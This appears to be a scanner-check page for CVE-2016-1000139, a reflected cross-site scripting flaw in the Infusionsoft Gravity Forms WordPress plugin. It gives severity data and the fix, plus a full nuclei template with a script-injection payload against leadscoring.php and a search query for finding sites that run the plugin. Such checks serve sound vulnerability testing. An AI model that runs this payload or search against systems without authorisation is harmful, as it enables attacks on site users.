WordPress Infusionsoft Gravity Forms <=1.5.11 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin Infusionsoft 1.5.11 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update to the latest version of the Infusionsoft Gravity Forms plugin (>=1.5.12) which includes a fix for this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/infusionsoft/readme.txt
Positive when: contains "Infusionsoft" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscri…
Positive when: contains "\"><script>alert(document.domain);</script><\"" and "input type=\"text\" name=\"ContactId\"" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000139 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000139

info:
  name: WordPress Infusionsoft Gravity Forms <=1.5.11 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin Infusionsoft 1.5.11 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the Infusionsoft Gravity Forms plugin (>=1.5.12) which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0a60039b-a08a-4f51-a540-59f397dceb6a
    - https://wordpress.org/plugins/infusionsoft
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=864
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000139
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000139
    cwe-id: CWE-79
    epss-score: 0.04195
    epss-percentile: 0.91026
    cpe: cpe:2.3:a:infusionsoft_project:infusionsoft:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "infusionsoft_project"
    product: infusionsoft
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/infusionsoft\""
  tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,infusionsoft_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/infusionsoft/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Infusionsoft'
          - 'Tags:'
        condition: and
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3C%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain);</script><"'
          - 'input type="text" name="ContactId"'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from